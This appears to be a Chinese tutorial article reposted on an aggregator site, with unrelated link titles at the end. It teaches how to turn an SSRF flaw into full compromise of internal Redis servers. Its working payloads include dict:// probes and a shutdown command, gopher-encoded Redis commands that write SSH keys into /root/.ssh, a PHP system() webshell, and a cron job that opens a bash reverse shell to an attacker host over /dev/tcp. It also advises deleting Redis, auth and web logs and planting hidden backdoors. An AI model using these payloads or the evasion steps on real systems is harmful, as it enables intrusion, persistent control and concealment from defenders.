当前位置: 首页 > news >正文

别再只测SSRF读内网了:手把手教你用dict/gopher协议探测并攻击内网Redis服务

从SSRF到内网Redis渗透:实战进阶指南

发现SSRF漏洞只是开始,真正的挑战在于如何将其转化为实际的攻击路径。当目标内网存在Redis服务时,一个看似简单的SSRF可能成为整个内网沦陷的起点。本文将带你深入探索如何通过dict和gopher协议,将SSRF漏洞的利用价值最大化。

1. 内网Redis服务的基础探测

在确认存在SSRF漏洞后,第一步是识别内网中开放的Redis服务。不同于简单的端口扫描,我们需要更隐蔽且有效的方法。

使用dict协议进行指纹识别

dict://target:6379/info

这个简单的命令可以返回Redis服务的详细信息,包括版本号、运行模式、操作系统等关键数据。如果返回包含"redis_version"字段,基本可以确认目标为Redis服务。

常见响应分析

  • 未授权访问:直接返回完整信息
  • 需要认证:返回"NOAUTH Authentication required"
  • 非Redis服务:返回错误或无关信息

提示:dict协议的优势在于其简洁性,大多数防火墙不会拦截这种看似无害的字典协议请求。

信息收集的关键指标

  • Redis版本:某些版本存在已知漏洞
  • 操作系统:决定后续攻击方式的选择
  • 持久化配置:影响写入文件的成功率
  • 内存使用情况:判断服务是否活跃

2. Redis未授权访问的确认与利用

确认Redis服务存在只是第一步,更重要的是判断是否可利用。未授权访问的Redis服务是内网渗透中最理想的攻击目标。

三种快速验证方法

  1. 直接执行命令:
dict://target:6379/set test "exploit"

如果返回"+OK",说明可执行任意命令

  1. 查看数据库配置:
dict://target:6379/config get *

返回的配置信息可能包含敏感路径

  1. 尝试关闭服务:
dict://target:6379/shutdown

谨慎使用,可能导致服务中断

风险评估矩阵

风险等级判断标准可利用性
高危完全未授权,可执行任意命令直接攻击
中危需要弱密码认证可尝试爆破
低危强密码保护或网络隔离难以利用

3. 从探测到攻击:Gopher协议的实战应用

当dict协议确认目标可攻击后,gopher协议将成为我们的主要武器。它能构造完整的Redis协议格式请求,实现更复杂的攻击。

Gopher协议攻击的基本结构

gopher://target:6379/_[Redis协议格式的命令]

需要将命令转换为Redis协议格式,包括:

  • 用*号表示参数个数
  • $号后跟参数长度
  • 实际参数内容

三种经典攻击方式详解

3.1 写入SSH公钥获取系统权限

这是最直接的提权方法,前提是Redis以root权限运行。

  1. 生成SSH密钥对:
ssh-keygen -t rsa -C "exploit"
  1. 构造Redis命令:
set sshkey "\n\n公钥内容\n\n" config set dir /root/.ssh/ config set dbfilename authorized_keys save
  1. 转换为gopher格式:
gopher://target:6379/_*3%0d%0a$3%0d%0aset%0d%0a$6%0d%0asshkey%0d%0a$...(省略完整编码)

3.2 写入Webshell控制网站

当目标服务器同时运行Web服务时,这种方法尤为有效。

关键步骤:

  1. 确定Web根目录(通过info命令或猜测常见路径)
  2. 构造恶意PHP代码:
set shell "<?php system($_GET['cmd']);?>" config set dir /var/www/html/ config set dbfilename shell.php save

注意:成功率取决于Web目录的写权限和Redis运行权限

3.3 通过计划任务实现持久化

在Linux系统下,可以通过写入crontab实现长期控制。

特殊考虑:

  • 需要知道当前用户名
  • 系统需启用cron服务
  • Redis需要有写入/etc/cron.d/的权限

示例payload:

set task "\n* * * * * bash -i >& /dev/tcp/attacker/4444 0>&1\n" config set dir /etc/cron.d/ config set dbfilename redis-exploit save

4. 不同环境下的攻击变通方案

实际渗透中,理想情况很少见。以下是几种常见限制及应对策略。

网络隔离情况

  • Redis仅监听127.0.0.1:尝试SSRF+Redis主从复制攻击
  • 存在防火墙规则:使用DNS外带数据确认连通性
  • 出站流量受限:尝试反弹shell到内部其他可达主机

Redis配置防护

  • 启用了protected-mode:尝试低权限操作
  • 配置了rename-command:分析可用的命令别名
  • 内存限制严格:使用短小精悍的payload

权限限制场景

  • Redis以低权限运行:尝试写入用户目录而非系统目录
  • 存在SELinux/AppArmor:优先考虑Web目录写入
  • 文件系统只读:转向信息窃取或作为跳板

5. 攻击后的痕迹清理与持久化

成功入侵后,如何保持访问并隐藏踪迹同样重要。

日志清理要点

  • Redis日志:修改或删除/var/log/redis/redis-server.log
  • 系统日志:检查/var/log/auth.log和/var/log/syslog
  • Web日志:如果写入webshell,清理相关访问记录

隐蔽持久化方法

  • 在.bashrc或.profile中添加后门
  • 创建隐藏的SSH授权密钥
  • 部署内存驻留型木马
  • 利用系统服务实现自启动

在实际渗透测试中,Redis服务的利用方式远不止文中提到的几种。每个内网环境都有其独特性,需要根据实际情况灵活调整攻击策略。我曾遇到过一个案例,通过Redis主从复制功能,成功绕过了网络隔离限制,最终拿下了整个内网的控制权。这种层层递进的攻击路径,正是内网渗透的魅力所在。

http://www.jsqmd.com/news/800651/

相关文章:

  • 从 LLM 到 Agent Skill
  • Sora生成Reel的版权雷区(Meta律师函实录):3类高危素材判定树+美国DMCA豁免条款应用速查表(仅限本周开放下载)
  • 【卷卷观察】Chrome偷偷塞了4GB AI模型到你电脑里——你的硬盘、带宽和隐私到底归谁?
  • 《Foundation 下拉菜单》
  • 功率MOSFET工作原理与电力电子应用解析
  • 六边形网格(Hexagonal Grids)在数据可视化与GIS中的隐藏优势:比你想的更实用
  • 牛津树资源合集
  • 从手动拖拽到零操作日程闭环:Gemini在Google Calendar中完成的3层智能跃迁(附可验证的Gmail-GCal-Gemini事件流日志)
  • CTF密码学实战:从RSA等式推导到佛曰解密,保姆级攻略带你通关CTFshow 1024杯Crypto/Misc
  • Go语言单例模式如何实现_Go语言单例模式教程【通俗】
  • Ollama模型下载加速方案:利用ollama-direct-downloader解决网络瓶颈
  • 英语阅读_share with you teenagers at school
  • CSS如何利用Sass实现透明度动态化_通过函数计算CSS颜色值
  • Delphi开发Windows光标管理工具:Win32 API实战与系统交互
  • Layui如何修改表格单元格内文字的行间距
  • Argo CD与Helmfile集成:进阶GitOps实践与多环境部署
  • 基于OpenClaw协议的轻量级AI代理网关MiniClaw实战指南
  • 深度解析:后台管理系统的模块化架构原理与DDD中台演进之路
  • 云计算运维入门课-第一天
  • League-Toolkit:基于LCU API的英雄联盟客户端智能自动化解决方案
  • RFID电动车智能门禁管理系统技术采用四层架构设计,实现电动车智能化管理。感知层采用防水防撕RFID电子车牌;识别层配置3-4米远距离读卡器;控制层集成ARM7处理器;执行层通过电动道闸或摆闸或广告门
  • 别再死记硬背了!用两个真实案例带你吃透MATLAB linprog函数(附完整代码)
  • Sora 2 v2.3 Beta中隐藏的Gaussian Splatting API接口(仅开放给前500名通过CUDA认证开发者)
  • Arm SMMUv3_ROOT寄存器架构与颗粒保护机制详解
  • 英雄联盟游戏效率工具League Akari:智能自动化与数据分析完整指南
  • C# ToString()格式化踩坑实录:从‘诡异’的舍入到自定义格式串的妙用
  • 基于微信小程序的家政服务预约系统(30291)
  • ensp关闭完美世界运行时显示权限不够
  • 街道政务服务站,办事通行更省心
  • 基于MCP协议实现AI助手与Jira/Confluence的本地化集成